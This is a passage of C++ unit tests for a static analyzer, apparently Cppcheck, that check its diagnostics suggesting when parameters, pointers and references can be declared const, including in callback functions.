D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n 